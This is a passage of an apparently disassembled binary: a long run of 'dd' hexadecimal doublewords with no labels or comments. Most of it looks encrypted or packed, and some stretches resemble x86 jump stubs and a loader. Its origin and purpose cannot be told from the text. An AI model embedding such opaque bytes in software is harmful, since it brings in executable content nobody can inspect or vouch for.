		dd 5D9867B5h, 0C93E1179h, 0B7B180A6h, 93B8BA85h, 0DF0117ABh
		dd 0FB7F7393h, 74723F28h, 1E42A20Eh, 670A2070h,	1B31C5E9h
		dd 752106F6h, 1012DE6Ch, 319D03EBh, 0A1713F0Bh,	341C41A7h
		dd 9A6A90A0h, 420E34A0h, 0FA691B40h, 336226CDh,	2748DC42h
		dd 34595323h, 6D8C194h,	167C7244h, 7F9D03F1h, 0F9795DA2h
		dd 0FF6BD137h, 3D93F9Fh, 35795DA2h, 0AAC9DF73h,	0CC7375B3h
		dd 57ED9C0Ah, 3611B40Ah, 0EE27Fh, 9D936400h, 504E1C20h
		dd 103CFD3h, 0B8AE8084h, 6C6A373Bh, 4FBEECEFh, 3078482h
		dd 0B9BD3A34h, 6B6FECEEh, 0FE24A19Bh, 9FD0086Eh, 9164795Dh
		dd 4C10E01Ch, 171F1907h, 0D503692Bh, 5F7F73D3h,	0ACD1379Dh
		dd 0C22E28F8h, 5EAF2C9Eh, 42D664FEh, 0B1D5E179h, 0C60E49E2h
		dd 0A0A9E32h, 85A5D451h, 0F11BB31h, 3E000009h, 980421F4h
		dd 218D1232h, 1C9EC275h, 0EF3CAE96h, 0BA48A438h, 1C88EEECh
		dd 0AF2C26F6h, 0BCE1DBABh, 5D0E14C8h, 0C6EFC279h, 1F9DF45Ah
		dd 35F77375h, 0ABBBAC7h, 0A05732B4h, 0E3Fh, 7DFAF0C1h
		dd 30ADAB79h, 0E15E602Ch, 98150BDDh, 4CC9C794h,	0DFAC1D49h
		dd 916064E1h, 4B161A97h, 0F8C8CC49h, 0CB5B81FEh, 5D9EB765h
		dd 79EEC179h, 0F11610E0h, 0D9A76D3Dh, 0D704B6DBh, 0CFE96FA8h
		dd 1581E74Dh, 0FC2123EFh, 1FB78014h, 8CED6A23h,	2ABB31F0h
		dd 87Ah, 0B480A657h, 0D4081EB2h, 27F7393h, 349A062Fh, 75218D5Ch
		dd 0AA0A7638h, 0CD6DBD86h, 0D165268Dh, 0B4312BFBh, 0BB1CE0B0h
		dd 0EDBDCB00h, 5C68F121h, 48A0F0F8h, 0A9CFBDE2h, 8A4CE0DAh
		dd 0BC228EB7h, 737556A5h, 0E48FFDBFh, 0F0B40AF0h, 0D955E15h
		dd 46170000h, 1CFD350h,	0B6828603h, 613337B4h, 1DEAEE6Bh
		dd 0F39FA21Fh, 0BA373502h, 70EDE7B6h, 229FA16Ch, 0D7544E1Eh
		dd 1DBB21B1h, 17795D9Eh, 10E0CF44h, 6D3DF116h, 0FE10773h
		dd 780CF419h, 621B17AFh, 312B94E5h, 7DC22BBh, 0A64F0000h
		dd 5B422782h, 760AA4B4h, 58C4E1B4h, 214BBFF2h, 0B31FE175h
		dd 46C3BD8Dh, 53787242h, 5D5FBD5Fh, 5D865979h, 6C6D91F1h
		dd 6C1AFC19h, 354C62F6h, 4F7375B2h, 574E1F8Dh, 9B76B40Ah
		dd 0D06E4h, 0C1B78800h,	74724044h, 2527F3F7h, 0DCD2A4A8h
		dd 908E5B5Fh, 73421013h, 272BA8A6h, 0DDE15E58h,	8F931012h
		dd 2248C5BFh, 9DEC2C92h, 0B588795Dh, 1610E040h,	832C86AAh
		dd 0F5181F5Eh, 84AA9861h, 5026BAB4h, 0AD618680h, 6BADFE1h
		dd 0A99F7137h, 11369C84h, 4C06BF37h, 4813A36h, 0BB31AF75h
		dd 73541h, 79A06E00h, 957F7393h, 307D5C2h, 73937F9Dh, 0D137F97Fh
		dd 0F25EC4ACh, 0CCC3292h, 0B07F7393h, 1A8E8560h, 0A0621A8Ah
		dd 75ECF60Ch, 7C087521h, 379D19ADh, 795DE0E1h, 0EAA1D193h
		dd 8EFA6089h, 219E9868h, 0E7534D1Dh, 464D8EC3h,	0EF830C21h
		dd 92B38626h, 0B860C626h, 0BC795DCAh, 0F05666FAh, 7375DDE9h
		dd 84DB490Bh, 28B40A7Dh, 0C31964Dh, 0E2B30000h,	9D6B6FECh
		dd 521E229Fh, 0FDCFD350h, 0B9868A07h, 6F3B3EBBh, 56D3D19Eh
		dd 0C898352h, 0BE3B3D08h, 73F0EABAh, 8157BD4Dh,	0B3795D9Ch
		dd 82A66BE0h, 0B67C8DC6h, 30069A22h, 22FA6060h,	567F73C9h
		dd 7D7665CAh, 0AE14163Eh, 9F6F2348h, 0FFCC80A5h, 5628DC01h
		dd 0F3573B60h, 9D3B803Ah, 948E5EE4h, 835D1C17h,	4359BB31h
		dd 86000001h, 0B2B480A6h, 7E78481Eh, 0DBD5A559h, 7A9B6E5Eh
		dd 0BA88AE0Eh, 71228BCh, 75755B92h, 5C81834Fh, 0B5DADCA8h
		dd 77D367CDh, 542349B5h, 0FFDC65Ah, 0F91E1CE9h,	11777945h
		dd 91B5677Dh, 0C80E795Bh, 2DE7920Fh, 3BCFC159h,	0FC000000h
		dd 980421F4h, 5BBEAB32h, 0B3F51975h, 0F9F3C30Eh, 34B1B6C9h
		dd 153A3002h, 7B3D992Dh, 5ABE6256h, 0C309795Bh,	0F8EC8D0Ah
		dd 9ECAC159h, 22000000h, 45BC5CC2h, 0F6B8795Bh,	82A62762h
		dd 5FB213A0h, 0F3C95D0Ch, 50042923h, 0AC608583h, 9BDE2DCh
		dd 0ADD33F39h, 2F50E4DEh, 73F933EBh, 0D73D9D7Fh, 7F731901h
		dd 7DD7133h, 0D0C03D37h, 66CD8FDh, 755DBA99h, 476DD99Bh
		dd 0FBFF7C7Ah, 0F9C2302Eh, 5BE7738h, 0AED732Ah,	9E6F0000h
		dd 59272BA8h, 0EDADE5Bh, 0B98B8F0Ch, 754246C3h,	0ABF7FA77h
		dd 128F8D5Ah, 0C8453F0Eh, 7AF7F9C4h, 2FACA676h,	0C5137909h
		dd 6F795D83h, 46A6279Ch, 739338E0h, 0E67A3C7Fh,	0C8454310h
		dd 7DFAF4C4h, 1610E014h, 0F54E86AAh, 223FEFCh, 793869D2h
		dd 5BEF5E0Bh, 140EDE92h, 65335997h, 69CFCD9Bh, 0D66A6C37h
		dd 515FDh, 80A60400h, 181AE6B4h, 80A50BF3h, 6F420498h
		dd 8174DA46h, 0F3755B8Ch, 74999765h, 0D01268Ch,	795B94CBh
		dd 38B56EB4h, 0C1593641h, 26075h, 46A6A200h, 739338E0h
		dd 0E67A3C7Fh, 73930BD0h, 7F4F757Fh, 0E4786085h, 0BA264F22h
		dd 9B69345Ah, 0C5ADD2CCh, 0D7B5CB5Fh, 0C175218Dh, 9D6D93FFh
		dd 522226A3h, 268CEC58h, 795D95F6h, 0BE8EC082h,	23B79FC4h
		dd 0F4E7BA5Ah, 600B7B5Bh, 0EC58BE79h, 756D9786h, 8C15A173h
		dd 36C51CE5h, 54E755BBh, 20B40A59h, 9E98E45h, 9A6B0000h
		dd 552327A4h, 0AD6DA57h, 0B5878B08h, 713E42BFh,	0A7F3F673h
		dd 0E8B8956h, 0C4413B0Ah, 76F3F5C0h, 2BA8A272h,	0C90F7505h
		dd 6B795D82h, 10E02398h, 6D3DF116h, 35E30773h, 0FCA4CF5Ch
		dd 43686A36h, 9861F55Bh, 0BA7A33D1h, 0A3E51796h, 0F78B5E13h
		dd 0DA575121h, 316C9ADFh, 1971CBBh, 0E0490000h,	3DF11610h
		dd 6F6736Dh, 76A60C33h,	27F7393h, 463C0E40h, 67D33921h
		dd 937BA107h, 3BFD7F73h, 263197A7h, 48755B92h, 0AB6D6186h
		dd 53795B91h, 0AE628785h, 0BBFE4DEh, 78DC3E40h,	4E9405BFh
		dd 2D611895h, 0D131C159h, 5B99AD6Bh, 837D4D79h,	30BE765Eh
		dd 6AFE6462h, 457Eh, 21F4AB00h,	1DD0E53Ah, 399F67A3h, 93F067CDh
		dd 0EE4E755Bh, 5BD15088h, 0A2986A79h, 4FDD957Dh, 755D8284h
		dd 5D1F7B0Fh, 0D1904438h, 0A5EB795Bh, 34062CECh, 3EA4A672h
		dd 0D09D3119h, 0C15971A9h, 0C70Dh, 10E03A00h, 167C7E4Ah
		dd 0B8B684AAh, 1214DF93h, 614F18ACh, 0D0FDB01h,	73937D9Bh
		dd 335F77Fh, 2D153A34h,	0F8F6C399h, 554F1FD3h, 0E6AC7C30h
		dd 1CEA1C16h, 0AB11F91Eh, 4D4B193Fh, 8A5498B9h,	0F67F7340h
		dd 0E10600D0h, 0BF8F65F9h, 855848C5h, 0C024F45Ah, 8E507F73h
		dd 0C956BC28h, 0EB755D63h, 0CA97BD29h, 0DC0060CCh, 6F1A4FECh
		dd 0BD5BCDC5h, 0B7795944h, 3C4061F5h, 0BA03716Fh, 32BE76CDh
		dd 861A057h, 12E30000h,	0CD9B9F1Ch, 824E52CFh, 2DFF0380h
		dd 0E9B6BA37h, 3F6B6EEBh, 860301CEh, 3CB9B382h,	0EE6B6D38h
		dd 0A3201AEAh, 5187ED7Dh, 0E3795D81h, 13E09B10h, 6785A915h
		dd 69A221CFh, 3F4364F8h, 8FF8756Fh, 0AA1610E0h,	984A0286h
		dd 3D090A73h, 0C82E163Bh, 0E7B76B34h, 135B81E7h, 1BDD7F73h
		dd 8F3138B5h, 63000002h, 4BDCB13Fh, 44D848D6h, 421F409h
		dd 0AD23898h, 2E7F7393h, 716B3A6Ch, 0DB67CDDDh,	1975218Ch
		dd 9A3E3257h, 0E5795D94h, 0A09A698Fh, 0FFFF937Bh, 36B0C946h
		dd 2406C15Fh, 33000002h, 73937BA0h, 0A3C0937Fh,	8C69D137h
		dd 0FD8B7521h, 260E332Dh, 5E2E54C0h, 6AD0C698h,	1F19E9EDh
		dd 0C8E80CFAh, 8A845467h, 184D7D65h, 44069A23h,	0BDBB8871h
		dd 0DE44B098h, 795DFB3Eh, 0A612783Ah, 0D4998282h, 5D5AAE6Eh
		dd 0D808CA79h, 1F51F077h, 0ADBD5153h, 75265047h, 0B888AE73h
		dd 358E01F4h, 0BB218DA1h, 0BE1AAE96h, 944890F6h, 2AEC7325h
		dd 1DF756C4h, 0A07BB40Ah, 742E9h, 0FDF3C400h, 0B0AE7C80h
		dd 61632F33h, 180EE0E4h, 0CCCA979Bh, 0AF1E4C4Fh, 6367E4E2h
		dd 191D9A94h, 0CBCF4C4Eh, 5E8401FBh, 87B068CEh,	0F1C4795Dh
		dd 4C10E07Ch, 0CA3C973h, 0D539B8B8h, 6325F8Fh, 42B6494h
		dd 556479DBh, 4616CAEFh, 4DB3B580h, 0AC36128h, 3DBAB484h
		dd 31553742h, 6E375BBBh, 5F747E93h, 3C503CD0h, 7D000001h
		dd 7D4A10E0h, 40F4197Fh, 16D8AA70h, 0C1E64C46h,	6F673D9h
		dd 40A61233h, 755B9255h, 7C709557h, 795B9158h, 0A724DD23h
		dd 0C1592DD2h, 0CCCE9AC0h, 0A9CECC9Ah, 2C412DC1h, 6E000000h
		dd 980421F4h, 5BBEAB32h, 0E60BCD75h, 5B862EF2h,	1D439979h
		dd 0BCBC5052h, 501D4303h, 0B1452D52h, 594495E4h, 0B621C1h
		dd 0E04E0000h, 0B37D4A10h, 0DDC5EAE4h, 38EC1177h, 94486D6Bh
		dd 0B83600C4h, 862A5648h, 0EE54BAB8h, 4B4515C9h, 59AC8ACEh
		dd 0BC1C7F73h, 73298656h, 5CF0B27Fh, 3FBCB686h,	0EB577C4Fh
		dd 17C52B8Bh, 217F7329h, 28B5CB5Fh, 4A755D8Ah, 96BC1C88h
		dd 0CC9CCEC4h, 31C5ADD2h, 13908E5Bh, 0D644420Fh, 0BE77477Dh
		dd 85F16F1h, 8A000006h,	4246C3B9h, 0F5F97674h, 0A6AA2729h
		dd 5D61DED4h, 12159290h, 0AAA87544h, 605A292Dh,	1214DFE3h
		dd 0C7C19195h, 2E94244Ah, 795D86EEh, 0E042B78Ah, 5A981513h
		dd 0D66A6434h, 8D6C3000h, 681B9953h, 8F4DB31Fh,	0A97F73B9h
		dd 9B0481E7h, 0F11610E0h, 0F6736D3Dh, 41EFh, 99FD2100h
		dd 0CF0D7321h, 697F73D2h, 853877A7h, 0E03F7A0Eh, 3F11610h
		dd 0ED1210DDh, 466B6D39h, 69C8F85Eh, 0A8875DAh,	3000D66Ah
		dd 0BF371136h, 0B6B08006h, 5C52244Ah, 9ABB4F37h, 2693h
		dd 10E09A00h, 5A7F7D4Ah, 0F3E70C72h, 7F739320h,	0E66C25C7h
		dd 68B01616h, 947F7393h, 8033F883h, 8446FEB2h, 0E038A11Eh
		dd 51F11610h, 83E9557Eh, 75218C03h, 0DD036F31h,	71A70D0Dh
		dd 3795D94h, 5A5EDB41h,	0CB6B908Ah, 41430FF8h, 0D0096FDBh
		dd 62730F8Ah, 0F49546D6h, 0EB1DF623h, 16FE2319h, 4E1E44B0h
		dd 3D3D754h, 4B70723Dh,	38D8FD63h, 6ED44065h, 7907DDDFh
		dd 0CD0B7139h, 676DF71Dh, 56D13FA5h, 0E2AAD894h, 4E15007h
		dd 92630000h, 4D1B1F9Ch, 2CED24Fh, 0AD7F8300h, 69363AB7h
		dd 0BFEBEE6Bh, 683814Eh, 0BC393302h, 6EEBEDB8h,	23A09A6Ah
		dd 0D1076DFDh, 63795D85h, 10E01B90h, 0C5959916h, 92B8A6CBh
		dd 0BBA3C8C2h, 0BB815127h, 19CBF0EEh, 0C5673659h, 55BB2143h
		dd 12CB6930h, 26F6BC8Ch, 73988E60h, 42BF258Bh, 31783247h
		dd 6E3A60BBh
		dd 38ECD86Ch, 19000000h, 980421F4h, 5B444032h, 0F6622475h
		dd 0A5A37096h, 2E049880h, 0A0E46163h, 795BC37Eh, 4EB4B484h
		dd 795BC38Eh, 582E8AAh,	0C8343601h, 42D6D4A2h, 43DC279h
		dd 0A6C90000h, 9338E046h, 7A3C7F73h, 3D9DA54Ah,	962AD4A8h
		dd 0D1F6F0C0h, 0D6534D1Dh, 0AD23898h, 2E7F7323h, 4316D86Ch
		dd 21878756h, 7F7323FBh, 3055BB7Dh, 1076E248h, 755B2205h
		dd 99F96527h, 5B21E533h, 0A775DB79h, 0D1795B21h, 195570Fh
		dd 84EA4A38h, 795B2154h, 2116C62Ch, 6022795Bh, 3C52E6A8h
		dd 795B2198h, 34595322h, 83B5B380h, 0B095BAB4h,	6ADB954Eh
		dd 8E4EB414h, 0AA795B21h, 0E9EBB6E8h, 1F9C5555h, 0C159DD5Ah
		dd 0AA72D838h, 0CE795B29h, 468C780Ch, 0E4000000h, 29FE1E84h
		dd 0B87A795Bh, 21F4E924h, 934098FEh, 66F47F73h,	8E769B99h
		dd 0F056C228h, 755BBE69h, 0B0A4C98Bh, 795B876Ch, 0A4C9CB96h
		dd 895B21F0h, 2E082D93h, 0D243FDB6h, 2356D38Ch,	93C15943h
		dd 0F5h, 1610E0C0h, 34E44AAAh, 407F7393h, 6D21EA7Eh, 1236A2A0h
		dd 7A35557Dh, 9B64F8C4h, 0F81D17E7h, 5012E40Ah,	7B63887Eh
		dd 0D608F015h, 0FEE60B09h, 0FEC4946Ah, 260E3331h, 0F7FF43C0h
		dd 0FB7F735Eh, 0B0B4312Bh, 21C1E6E0h, 53B9254Eh, 755B7034h
		dd 0A309C5Eh, 87A83C3Eh, 3399C497h, 795A90E5h, 0C99BCD8Fh
		dd 60C6AED3h, 0CE3494F4h, 795A900Eh, 96FC682Ah,	795A9046h
		dd 869C30F2h, 73742E17h, 2935496Dh, 0F0201AE9h,	329EFC9Ah
		dd 201D0CCCh, 0D2662873h, 2248B476h, 0D6DA5755h, 799F0509h
		dd 0FB73201Dh, 7A9FA16Dh, 58C62C92h, 0B40F94D7h, 0A8CD845Fh
		dd 2A000002h, 0E2E66359h, 95991614h, 464AC7C9h,	0FD017E74h
		dd 0B2B53230h, 4A4815E4h, 0FAC9CDh, 0B2B47F83h,	67613135h
		dd 0CE34C4EAh, 795D8B0Eh, 0A6E2572Ah, 1EB2B480h, 7D7B48h
		dd 0B5322CFCh, 3A21F44Ch, 45F0D1C2h, 0E1379D6Ch, 937F73BCh
		dd 6B396BD1h, 3B9B076Dh, 264B4515h, 594AA3Eh, 2F755B91h
		dd 8054486Dh, 3A795BD7h, 974B706Ah, 0F4A8CDC7h,	1E062B25h
		dd 0E59F58BCh, 0F8752E74h, 0C1597381h, 0B935h, 10E06200h
		dd 0BC902A4Ch, 0BF8E5676h, 8DF95FC5h, 2F959967h, 7F738FE9h
		dd 3E63C98Bh, 45F9C256h, 61557A78h, 7F739295h, 0BF5DC323h
		dd 0B97F73B2h, 0BD8D63F7h, 724246C3h, 7BE1DFACh, 0C2E3B656h
		dd 8499F056h, 2147755Bh, 472F5456h, 0FBC957B3h,	2A1A97FDh
		dd 5CC22E57h, 73757E1Eh, 2289456h, 0B6BA3735h, 0F67DEBE9h
		dd 7AB40EE8h, 1B1E89Fh,	62330000h, 1DEBEF6Ch, 0D29EA21Fh
		dd 7D4F53D0h, 39060A87h, 0EFBBBE3Bh, 0D653511Eh, 8C0903D2h
		dd 3EBBBD88h, 0F3706A3Ah, 1D73DCDh, 33795D8Ah, 13E0EB60h
		dd 0C4949815h, 9681BC00h, 7372E830h, 9ACA8C7Fh,	0AB11D73Bh
		dd 80A6C52Eh, 0A58DB2B4h, 0A56B3B11h, 0FEB2D7D9h, 230B3032h
		dd 7E3257BDh, 0F937B4AEh, 6D3D03D3h, 664E73h, 895FF3DBh
		dd 0FA9ABFB9h, 2C92FE27h, 755B8B3Dh, 0BC709557h, 595322F0h
		dd 4A1ACEF3h, 0E4462B50h, 0DAD8A52Bh, 0DD962A74h, 218D8757h
		dd 9ABD5BC1h, 0F5B7795Bh, 7D504061h, 0DB86EC58h, 5D7373B3h
		dd 0F2C2769Bh, 3D625C2Ch, 0F0CAEF55h, 7A4DBF78h, 0DC87ED59h
		dd 0AA790B98h, 93B8B684h, 2DBB17ABh, 7CF95F61h,	42A8A878h
		dd 6D0BA89Ah, 0A35B5524h, 0E90F7BE1h, 0C18A1E1Ch, 976420Dh
		dd 0DC2122h, 673358BEh,	0C4941AD3h, 98FE5ECAh, 6D0B0040h
		dd 0A237947Ch, 0A058CAF4h, 39294ADEh, 6BD13D66h, 67232B7Ch
		dd 0E8F0BCE2h, 0D33B5A82h, 0B61CDE67h, 0AC77A991h, 99D85AAh
		dd 0D8C6EBADh, 222594B4h, 21B59DD7h, 5C817B4Bh,	0BBE0D6A8h
		dd 193E3807h, 5E18D135h, 55C78014h, 8FF56182h, 6DFB6D98h
		dd 8B7BF8BAh, 7FDCFB8h,	0ECF35A1h, 2C6BE963h, 0C191456Ah
		dd 76464AC7h, 3C63577Ch, 968E8BDFh, 0FDF651Eh, 0C4949815h
		dd 1FF1A5CAh, 81500429h, 8BF1EBBBh, 0E9E3B266h,	0AB64F8C4h
		dd 0A303A7F1h, 720E9F3Dh, 390B9925h, 4949DD43h,	0DBAAD090h
		dd 284D4315h, 7046DA40h, 2529A6A0h, 7F365B55h, 3, 0E03A8786h
		dd 40F4190Fh, 9D517670h, 0F7ABD0D2h, 55092E28h,	0B1658A88h
		dd 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h, 81595451h
		dd 4C1h, 4E98300h, 5C240C87h, 81E28952h, 4C2h, 4EA8100h
		dd 87000000h, 895C2414h, 8953240Ch, 4C381E3h, 81000000h
		dd 4EBh, 241C8700h, 2404895Ch, 7926850h, 8958062Eh, 0F46858C1h
		dd 8900001Eh, 4812424h,	424h, 0CC685800h, 8900006Bh, 408F240Ch
		dd 2434FF08h, 4C48358h,	51240C8Bh, 0C181E189h, 4, 8704C183h
		dd 0E95C240Ch, 0FFFA63D9h, 78917644h, 1B83B8ABh, 0C503062Eh
		dd 851EE0FFh, 0CE1D6677h, 0BBCB1DFBh, 0A913189Bh, 5CCE4173h
		dd 0D73424F0h, 41141A8Eh, 72877107h, 9CF2551Ah,	9D525389h
		dd 2ED1135h, 87677D17h,	0EFE15318h, 82BE7C67h, 0A310704Eh
		dd 1F763726h, 4E954800h, 0F9212CE6h, 9569253Fh,	0F521762Bh
		dd 9F53296h, 0FE80797h,	87000000h, 0BA1AFAE8h, 0E837D3DCh
		dd 0DFE28CCAh, 0BB66D94Eh, 0E95FF94Bh, 12h, 0E2DF26h, 9B391D94h
		dd 0D0E70C9h, 0F1731135h, 0C781D188h, 61C9h, 68C78Bh, 80000000h
		dd 0FF5A0AD4h, 0B70F3A34h, 8E0F5EC9h, 4, 5B616050h, 7FE3C681h
		dd 0F38128B6h, 75650233h, 0CFCDF681h, 0D2B4661Ch, 282C681h
		dd 0EE90A03h, 4B000000h, 1DA68D4Eh, 0F8B7BCC3h,	91ECE253h
		dd 48F5696h, 0C68B6617h, 83C6BF0Fh, 8E0F04EAh, 2, 0FA81CA8Bh
		dd 0FFFF9F00h, 19850Fh,	0A0B80000h, 0E93B6CE3h,	28h, 48C30946h
		dd 4FB320ABh, 0BC7E9A31h, 814FECA0h, 1BFECBEBh,	0FF7DE90Eh
		dd 92D3FFFFh, 2CB6800Bh, 1FE67653h, 9872DAFCh, 14E8h, 4B2B00h
		dd 6B51A2A7h, 0FF763AD2h, 0EFE606E6h, 404118Ch,	0D9B70FC9h
		dd 0CE959h, 7BA0000h, 67415C5Ah, 19750285h, 0C18198BEh
		dd 6AE4h, 7E9h,	0B68C3E00h, 0C3831950h,	1A7668h, 0FE95800h
		dd 6A000000h, 0C4A8898Bh, 465B27F6h, 0FEF7B3E8h, 31FF8CC5h
		dd 12E8h, 87923700h, 0FF9A6890h, 0D134913Ah, 81E7A637h
		dd 0E9AD8661h, 9, 941A6F9h, 4AD2DB64h, 515A5FF0h, 44EA815Eh
		dd 0F57B2BD3h, 9B1EF281h, 95B726E9h, 5083F281h,	10E850CEh
		dd 0CB000000h, 8C7191A1h, 89F18273h, 710A0586h,	0F54788D7h
		dd 2BBB525Eh, 8F678391h, 0A820F01h, 60000000h, 18FEADB9h
		dd 0C38B6618h, 78E98161h, 0B703575Ah, 74C1817Bh, 0F03575Ah
		dd 0C8Dh, 7E900h, 0D5BD0000h, 9B01434Fh, 850F4871h, 0Fh
		dd 0F98B6660h, 1BE961h,	0D4580000h, 665AC48Ch, 53E9FE8Bh
		dd 0EAFFFFFFh, 0EF5841C7h, 205FD20Eh, 6FC1D527h, 8BE940h
		dd 15F80000h, 0CC470206h, 38F3BAF5h, 0AFD666D1h, 0B2979FABh
		dd 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h, 77609BB6h, 94A9B6F3h
		dd 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h
		dd 937E9BB9h, 96B99D89h, 9E96AFF4h, 0D6B594A1h,	0FD91A7h
		dd 4ACC48D1h, 713C3359h, 0DB4D5200h, 5EF357h, 9DBBEFB6h
		dd 9500BD89h, 0EFB69F89h, 0D00097BBh, 55C3B1B6h, 37005271h
		dd 0D3C20DA4h, 0E0910h,	3 dup(0)
		dd 1021E900h, 0B3680000h, 0E9062E20h, 0FFFA60F1h, 2E21A868h
		dd 60E7E906h, 7B68FFFAh, 0E9062E22h, 0FFFA60DDh, 2E23D068h
		dd 60D3E906h, 4868FFFAh, 0E9062E24h, 0FFFA60C9h, 2E24F068h
		dd 60BFE906h, 0AA68FFFAh, 0E9062E25h, 0FFFA60B5h, 2E266D68h
		dd 60ABE906h, 2868FFFAh, 0E9062E27h, 0FFFA60A1h, 2E27F168h
		dd 6097E906h, 0D968FFFAh, 0E9062E28h, 0FFFA608Dh, 2E29FF68h
		dd 6083E906h, 9C68FFFAh, 0E9062E2Ch, 0FFFA6079h, 2E2D8D68h
		dd 606FE906h, 0A273FFFAh, 5D2B2FACh, 12DEE25Fh,	0BD8F9310h
		dd 79464AC7h, 0AFFBFE7Bh, 1693915Eh, 0CC494312h, 7EFBFDC8h
		dd 33B0AA7Ah, 0C1177D0Dh, 73795D8Ch, 90F656A0h,	795D8C48h
		dd 5B962AECh, 0F11610E0h, 0F6736D3Dh, 0B3EA94B8h, 2214127Ch
		dd 5CF05654h, 329EC79Ah, 5BF2C1CCh, 0FC21E375h,	5BF2D408h
		dd 0B069AF79h, 0FCFECAF0h, 6BFFFDCAh, 598CDB9Eh, 36DBC1h
		dd 0F4080000h, 38980421h, 254A4012h, 493A93Dh, 2E755BBEh
		dd 0F959476Ch, 5B864593h, 992DEF79h, 5B865183h,	0AED42A79h
		dd 5151E5DFh, 445E1B98h, 0EC58C159h, 85000000h,	0F11610E0h
		dd 4D72703Dh, 63C9C999h, 7F7393B5h, 9377A50Bh, 3F017F73h
		dd 3A5FC587h, 3FBCB686h, 738EF2FBh, 6026F67Fh, 0B4319791h
		dd 0C1E6E0B0h, 0D4A7AFD3h, 6ADF0835h, 244114D6h, 0CE594B8h
		dd 93C3C18Fh, 0EF838EABh, 705B7FDFh, 2BE98401h,	0AACFCD9Bh
		dd 0F82C5CC2h, 43CFAE2Ch, 0A8FB11A5h, 16755BAFh, 12620F0h
		dd 67298519h, 0F827FAEAh, 5BD14A92h, 0ACA27479h, 25E79F87h
		dd 0C52B21F3h, 6C9FF359h, 33F57375h, 0D6D4A1C7h, 8A885559h
		dd 0EEA3C1Ch, 2EE5C0B4h, 0DA0h,	0E9665C2Dh, 9C1917E5h
		dd 4DCACC98h, 4817749h,	0B8353300h, 4B18E9B5h, 0FDCCD04Dh
		dd 0B7828603h, 643438B5h, 37C7ED6Ah, 5DB30BD1h,	0E55A2D79h
		dd 0EDB180A6h, 0FF395C1Fh, 81157BF2h, 63E0DEABh, 0B95FC525h
		dd 0BB7F7301h, 0BF8F65F9h, 0F4DF48C5h, 32980421h, 755BBEABh
		dd 0F2E60BCDh, 795B862Eh, 1D9A5399h, 0C159445Ch, 0D25Ah
		dd 0EC52B200h, 795BB22Ch, 0B7F28648h, 0F11610E0h, 66C703Dh
		dd 7F7393D6h, 153AA062h, 738ED421h, 884C1C7Fh, 5323EB6Bh
		dd 68E54BC3h, 759A9464h, 75E102D5h, 0D5F74951h,	0FEE60B05h
		dd 70D774CEh, 486CCCDCh, 9D4AB48h, 0CAFAE207h, 19ADA92Fh
		dd 5B7BA003h, 9310D275h, 47B3D0A3h, 75DFF2E1h, 0C632F473h
		dd 69CFD3A0h, 732003B3h, 0C67E804Bh, 43F2D404h,	0A038C004h
		dd 0ECB9BD3Ah, 695280EEh, 3F1AB40Fh, 0CAB88h, 71673800h
		dd 2422F0F4h, 0D5D7A3A7h, 8C825458h, 403E0B0Fh,	2392C0C3h
		dd 0D7DB5856h, 8D910E08h, 3F43C0C2h, 0D2F8756Fh, 0B23CDC42h
		dd 6538795Dh, 1513E0F0h, 652985A9h, 45FDC15Fh, 0F6A573D9h
		dd 0DCF7F73h, 84545879h, 0E0A40D8Ah, 3DF11610h,	0F2F6736Dh
		dd 4BFF2426h, 0EAE8B57Bh, 0B77DDC5h, 0F61B15E5h, 5A597A0Eh
		dd 94B18410h, 0D6A2C828h, 95C7AFD4h, 0BEA6CBC5h, 8625142Ah
		dd 8D4F755Bh, 7CBDE101h, 0AF868C22h, 0EE544E1Eh, 7191445Ah
		dd 6A3D62D5h, 7077DD49h, 0A288E8A9h, 1BF6916h, 66CC264Eh
		dd 0A5CEA141h, 0AB9D339h, 4DDB7685h, 81508280h,	8FB52187h
		dd 0A48C5BFh, 4E9444AAh, 0DEA07575h, 0AAA4744Ah, 5AD0203Ch
		dd 3AF1CCB2h, 0BD8h, 219E9465h,	0D4514F1Dh, 850204D0h
		dd 3CB9AF81h, 0F06D6B38h, 8350A1EDh, 35040885h,	0EFBABE3Bh
		dd 9C6C70EDh, 6FFF25A2h, 5DB1D309h, 1D926579h, 784A10E0h
		dd 57F71C82h, 8DF35F84h, 755B82F6h, 6151CE90h, 93F9658Eh
		dd 7373A5BCh, 0BC5CC222h, 0B87323A3h, 0A3528AF0h, 24E67323h
		dd 0CCE2ABEh, 0A321F3E7h, 549A7323h, 86B7DB9Bh,	0E13F3670h
		dd 3813C92Fh, 63257323h, 0DD9C69FDh, 0D9C781DAh, 51h, 8C82A606h
		dd 2828C687h, 77E7CACh,	0B311D5B8h, 698A5D1Fh, 3EEB97FDh
		dd 0C789755Bh, 686A355Bh, 0B689ADEBh, 3FEBEAD5h, 4797AD41h
		dd 7B795BB8h, 0E545B1ABh, 5BB8597Fh, 8519DB79h,	60C62664h
		dd 795BB8B8h, 9066FABCh, 0E79EC3C5h, 0B04h, 0E046A6EEh
		dd 7F739338h, 24E67A3Ch, 62C83451h, 7521B4F8h, 0A8CE3AFCh
		dd 2361DED8h, 8CBF5DC3h, 0F7B9795Dh, 0C3BD8D63h, 0A2BFE9Eh
		dd 0D83E9Eh, 34795D8Ch,	68CEDE72h, 730FAA01h, 0DD589BBFh
		dd 6C9C9E6Ah, 0CA5EB982h, 1A40AC6Eh, 422A4F4Dh,	0A8789EAEh
		dd 5A9A42A8h, 0DC9E732Fh, 25F5F976h, 9366062Bh,	5AD6066Ch
		dd 0A062732Fh, 0C168CE3Ah, 3379077Ah, 0E4030371h, 0AE89AAD8h
		dd 0A83F7h, 493F1000h, 0FCFAC8CCh, 0ADAF7B7Fh, 645A2C30h
		dd 1816E3E7h, 0FBCA989Bh, 0AFB3302Eh, 6569E6E0h, 171B989Ah
		dd 0AAD04D47h, 0B064B41Ah, 3D10795Dh, 937CA0C8h, 284C7F73h
		dd 0BF8FECFFh, 6123B79Ah, 93F9658Eh, 75216CFCh,	0F2ECBCE2h
		dd 0D440025Eh, 67E4DEAEh, 74999363h, 18C02686h,	1C795D64h
		dd 3104C65Ah, 2342A814h, 45737575h, 41F1583h, 0B691B40Bh
		dd 0A0BFFh, 0D1C79800h,	84825054h, 35370307h, 0ECE2B4B8h
		dd 0A09E6B6Fh, 83722023h, 373BB8B6h, 0EDF16E68h, 9FA32022h
		dd 3258D5CFh, 0B79C3CA2h, 0C598795Dh, 1610E050h, 736D3DF1h
